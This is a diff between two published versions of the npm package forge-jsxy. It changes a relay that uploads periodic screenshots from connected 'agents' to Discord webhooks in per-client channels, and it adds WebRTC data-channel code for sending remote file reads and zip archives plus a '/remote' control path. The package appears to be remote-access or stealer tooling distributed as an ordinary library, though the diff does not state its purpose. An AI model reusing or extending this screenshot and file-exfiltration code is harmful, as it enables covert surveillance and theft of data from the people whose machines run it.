forge-jsxy 1.0.78 → 1.0.79

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli-relay.js CHANGED
@@ -28,6 +28,9 @@ function parseArgs(argv) {
28
28
  ` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
29
29
  ` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
30
30
  ` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
31
+ ` WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
32
+ ` default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
33
+ ` RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
31
34
  ` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
32
35
  process.exit(0);
33
36
  }
@@ -143,7 +143,7 @@ function discordUploadMode() {
143
143
  }
144
144
  /**
145
145
  * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
146
- * (default **4**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
146
+ * (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
147
147
  */
148
148
  function discordWebhookTicketFlowMaxAttempts() {
149
149
  const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
@@ -258,6 +258,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
258
258
  };
259
259
  const flushUploadRelay = (b64) => {
260
260
  const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
261
+ /** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
261
262
  let payload = b64;
262
263
  void (async () => {
263
264
  try {
@@ -293,7 +294,8 @@ function startDiscordScreenshotToRelayLoop(opts) {
293
294
  })();
294
295
  };
295
296
  const flushUploadWebhook = (b64) => {
296
- const originalB64 = b64;
297
+ /** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
298
+ let screenshotB64ForFallback = b64;
297
299
  let rawB64 = b64;
298
300
  void (async () => {
299
301
  let png;
@@ -304,6 +306,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
304
306
  if (!opts.quiet) {
305
307
  console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
306
308
  }
309
+ screenshotB64ForFallback = "";
307
310
  rawB64 = "";
308
311
  uploadBusy = false;
309
312
  if (!stopped && pendingB64Queue.length > 0)
@@ -320,8 +323,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
320
323
  }
321
324
  // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
322
325
  if (discordWebhookRelayFallbackEnabled()) {
323
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
326
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
324
327
  }
328
+ screenshotB64ForFallback = "";
325
329
  try {
326
330
  png.fill(0);
327
331
  }
@@ -365,7 +369,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
365
369
  console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
366
370
  }
367
371
  if (discordWebhookRelayFallbackEnabled()) {
368
- await relayFallbackUploadWithRetry(originalB64, err);
372
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
369
373
  }
370
374
  return;
371
375
  }
@@ -395,7 +399,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
395
399
  console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
396
400
  }
397
401
  if (discordWebhookRelayFallbackEnabled()) {
398
- await relayFallbackUploadWithRetry(originalB64, posted.error);
402
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
399
403
  }
400
404
  return;
401
405
  }
@@ -403,7 +407,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
403
407
  console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
404
408
  }
405
409
  if (discordWebhookRelayFallbackEnabled()) {
406
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
410
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
407
411
  }
408
412
  }
409
413
  catch (e) {
@@ -411,10 +415,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
411
415
  console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
412
416
  }
413
417
  if (discordWebhookRelayFallbackEnabled()) {
414
- await relayFallbackUploadWithRetry(originalB64, String(e));
418
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
415
419
  }
416
420
  }
417
421
  finally {
422
+ screenshotB64ForFallback = "";
423
+ rawB64 = "";
418
424
  if (png && png.length > 0) {
419
425
  try {
420
426
  png.fill(0);
@@ -0,0 +1,57 @@
1
+ /**
2
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
3
+ *
4
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
5
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
6
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
7
+ *
8
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
9
+ *
10
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
11
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
12
+ */
13
+ export declare const FORGE_BULK_MAGIC_KEY = "_fb";
14
+ export declare const FORGE_BULK_MAGIC_VAL = "hdr";
15
+ /** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
16
+ export declare const FORGE_BULK_ABORT_VAL = "abort";
17
+ /** Legacy single-binary framing (still accepted by viewers). */
18
+ export declare const FORGE_BULK_VERSION_V1 = 1;
19
+ /** Chunked binary framing (agent send path). */
20
+ export declare const FORGE_BULK_VERSION = 2;
21
+ /** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
22
+ export declare const FORGE_BULK_MAX_BODY_BYTES: number;
23
+ /** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
24
+ export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
25
+ /** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
26
+ export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
27
+ /** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
28
+ export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
29
+ export type ForgeBulkDc = {
30
+ isOpen: () => boolean;
31
+ sendMessage: (s: string) => boolean;
32
+ sendMessageBinary: (b: Uint8Array) => boolean;
33
+ };
34
+ export type ForgeBulkPushResult = {
35
+ status: "pending";
36
+ } | {
37
+ status: "complete";
38
+ msg: Record<string, unknown>;
39
+ } | {
40
+ status: "error";
41
+ };
42
+ export declare function forgeBulkAbortWireJson(): string;
43
+ /**
44
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
45
+ */
46
+ export declare class ForgeBulkInboundAssembler {
47
+ private mode;
48
+ private hdr;
49
+ private byteLen;
50
+ private chunkSz;
51
+ private buf;
52
+ private filled;
53
+ reset(): void;
54
+ pushJson(text: string): ForgeBulkPushResult;
55
+ pushBinary(data: Uint8Array): ForgeBulkPushResult;
56
+ }
57
+ export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;
@@ -0,0 +1,264 @@
1
+ "use strict";
2
+ /**
3
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
4
+ *
5
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
6
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
7
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
8
+ *
9
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
10
+ *
11
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
12
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
13
+ */
14
+ Object.defineProperty(exports, "__esModule", { value: true });
15
+ exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
16
+ exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
17
+ exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
18
+ const fsProtocol_1 = require("./fsProtocol");
19
+ exports.FORGE_BULK_MAGIC_KEY = "_fb";
20
+ exports.FORGE_BULK_MAGIC_VAL = "hdr";
21
+ /** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
22
+ exports.FORGE_BULK_ABORT_VAL = "abort";
23
+ /** Legacy single-binary framing (still accepted by viewers). */
24
+ exports.FORGE_BULK_VERSION_V1 = 1;
25
+ /** Chunked binary framing (agent send path). */
26
+ exports.FORGE_BULK_VERSION = 2;
27
+ /** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
28
+ exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
29
+ /** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
30
+ exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
31
+ /** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
32
+ exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
33
+ /** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
34
+ exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
35
+ const HDR_STR_MAX = 24576;
36
+ function stripBulkHdrFields(hdr) {
37
+ const msg = {};
38
+ for (const k of Object.keys(hdr)) {
39
+ if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
40
+ continue;
41
+ msg[k] = hdr[k];
42
+ }
43
+ return msg;
44
+ }
45
+ function bytesToB64(buf) {
46
+ return Buffer.from(buf).toString("base64");
47
+ }
48
+ function forgeBulkAbortWireJson() {
49
+ return JSON.stringify({
50
+ [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
51
+ v: exports.FORGE_BULK_VERSION,
52
+ });
53
+ }
54
+ function trySendBulkAbort(dc) {
55
+ try {
56
+ if (dc.isOpen())
57
+ dc.sendMessage(forgeBulkAbortWireJson());
58
+ }
59
+ catch {
60
+ /* skip */
61
+ }
62
+ }
63
+ /**
64
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
65
+ */
66
+ class ForgeBulkInboundAssembler {
67
+ mode = "hdr";
68
+ hdr = null;
69
+ byteLen = 0;
70
+ chunkSz = 0;
71
+ buf = null;
72
+ filled = 0;
73
+ reset() {
74
+ this.mode = "hdr";
75
+ this.hdr = null;
76
+ this.byteLen = 0;
77
+ this.chunkSz = 0;
78
+ this.buf = null;
79
+ this.filled = 0;
80
+ }
81
+ pushJson(text) {
82
+ let j;
83
+ try {
84
+ j = JSON.parse(text);
85
+ }
86
+ catch {
87
+ this.reset();
88
+ return { status: "error" };
89
+ }
90
+ const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
91
+ if (magic === exports.FORGE_BULK_ABORT_VAL) {
92
+ this.reset();
93
+ return { status: "error" };
94
+ }
95
+ if (this.mode !== "hdr") {
96
+ if (magic === exports.FORGE_BULK_MAGIC_VAL) {
97
+ this.reset();
98
+ }
99
+ else {
100
+ this.reset();
101
+ return { status: "error" };
102
+ }
103
+ }
104
+ if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
105
+ this.reset();
106
+ return { status: "error" };
107
+ }
108
+ const ver = Number(j.v);
109
+ if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
110
+ this.reset();
111
+ return { status: "error" };
112
+ }
113
+ const bl = Number(j.byte_len);
114
+ if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
115
+ this.reset();
116
+ return { status: "error" };
117
+ }
118
+ const byteLen = bl | 0;
119
+ this.hdr = j;
120
+ this.byteLen = byteLen;
121
+ if (byteLen === 0) {
122
+ const msg = stripBulkHdrFields(j);
123
+ msg.b64 = "";
124
+ this.reset();
125
+ return { status: "complete", msg };
126
+ }
127
+ if (ver === exports.FORGE_BULK_VERSION_V1) {
128
+ this.mode = "v1wait";
129
+ return { status: "pending" };
130
+ }
131
+ let cs = Number(j.chunk_sz);
132
+ if (!Number.isFinite(cs) ||
133
+ cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
134
+ cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
135
+ Math.floor(cs) !== cs) {
136
+ this.reset();
137
+ return { status: "error" };
138
+ }
139
+ this.chunkSz = cs | 0;
140
+ try {
141
+ this.buf = new Uint8Array(byteLen);
142
+ }
143
+ catch {
144
+ this.reset();
145
+ return { status: "error" };
146
+ }
147
+ this.filled = 0;
148
+ this.mode = "v2fill";
149
+ return { status: "pending" };
150
+ }
151
+ pushBinary(data) {
152
+ if (this.mode === "hdr") {
153
+ this.reset();
154
+ return { status: "error" };
155
+ }
156
+ if (!this.hdr || data.length <= 0) {
157
+ this.reset();
158
+ return { status: "error" };
159
+ }
160
+ if (this.mode === "v1wait") {
161
+ if (data.length !== this.byteLen) {
162
+ this.reset();
163
+ return { status: "error" };
164
+ }
165
+ const msg = stripBulkHdrFields(this.hdr);
166
+ msg.b64 = bytesToB64(data);
167
+ this.reset();
168
+ return { status: "complete", msg };
169
+ }
170
+ if (this.mode === "v2fill") {
171
+ const buf = this.buf;
172
+ if (!buf) {
173
+ this.reset();
174
+ return { status: "error" };
175
+ }
176
+ const rem = this.byteLen - this.filled;
177
+ if (data.length > rem) {
178
+ this.reset();
179
+ return { status: "error" };
180
+ }
181
+ if (rem > this.chunkSz) {
182
+ if (data.length !== this.chunkSz) {
183
+ this.reset();
184
+ return { status: "error" };
185
+ }
186
+ }
187
+ else if (data.length !== rem) {
188
+ this.reset();
189
+ return { status: "error" };
190
+ }
191
+ buf.set(data, this.filled);
192
+ this.filled += data.length;
193
+ if (this.filled === this.byteLen) {
194
+ const msg = stripBulkHdrFields(this.hdr);
195
+ msg.b64 = bytesToB64(buf);
196
+ this.reset();
197
+ return { status: "complete", msg };
198
+ }
199
+ return { status: "pending" };
200
+ }
201
+ this.reset();
202
+ return { status: "error" };
203
+ }
204
+ }
205
+ exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
206
+ function forgeBulkAgentTrySend(dc, resp) {
207
+ if (!dc?.isOpen())
208
+ return false;
209
+ const ty = String(resp.type ?? "");
210
+ if (ty !== "fs_read_result" && ty !== "fs_zip_result")
211
+ return false;
212
+ const b64 = resp.b64;
213
+ if (typeof b64 !== "string" || b64.length === 0)
214
+ return false;
215
+ let raw;
216
+ try {
217
+ raw = Buffer.from(b64, "base64");
218
+ }
219
+ catch {
220
+ return false;
221
+ }
222
+ if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
223
+ return false;
224
+ const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
225
+ const hdr = {
226
+ [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
227
+ v: exports.FORGE_BULK_VERSION,
228
+ byte_len: raw.length,
229
+ chunk_sz: chunkSz,
230
+ };
231
+ for (const [k, v] of Object.entries(resp)) {
232
+ if (k === "b64")
233
+ continue;
234
+ hdr[k] = v;
235
+ }
236
+ let hdrStr;
237
+ try {
238
+ hdrStr = JSON.stringify(hdr);
239
+ }
240
+ catch {
241
+ return false;
242
+ }
243
+ if (hdrStr.length > HDR_STR_MAX)
244
+ return false;
245
+ let hdrCommitted = false;
246
+ try {
247
+ if (!dc.sendMessage(hdrStr))
248
+ return false;
249
+ hdrCommitted = true;
250
+ for (let off = 0; off < raw.length; off += chunkSz) {
251
+ const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
252
+ if (!dc.sendMessageBinary(new Uint8Array(slice))) {
253
+ trySendBulkAbort(dc);
254
+ return false;
255
+ }
256
+ }
257
+ return true;
258
+ }
259
+ catch {
260
+ if (hdrCommitted)
261
+ trySendBulkAbort(dc);
262
+ return false;
263
+ }
264
+ }
@@ -0,0 +1,31 @@
1
+ export declare function forgeWebRtcP2PEnabled(): boolean;
2
+ export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
3
+ export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
4
+ export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
5
+ type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
6
+ export type DataChannelApi = {
7
+ sendMessage: (s: string) => boolean;
8
+ sendMessageBinary?: (b: Uint8Array) => boolean;
9
+ isOpen: () => boolean;
10
+ };
11
+ export interface ForgeRtcAgentSessionOptions {
12
+ PeerConnection: PeerConnCtor;
13
+ sdp: string;
14
+ sdpType: string;
15
+ iceServers: string[];
16
+ sendSignaling: ForgeRtcSignalingSend;
17
+ /** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
18
+ setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
19
+ onInboundDcText: (text: string) => void;
20
+ onFatal: () => void;
21
+ quiet: boolean;
22
+ }
23
+ export declare class ForgeRtcAgentSession {
24
+ private readonly pc;
25
+ private destroyed;
26
+ constructor(opts: ForgeRtcAgentSessionOptions);
27
+ addRemoteIce(candidate: string, mid: string): void;
28
+ close(): void;
29
+ }
30
+ export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
31
+ export {};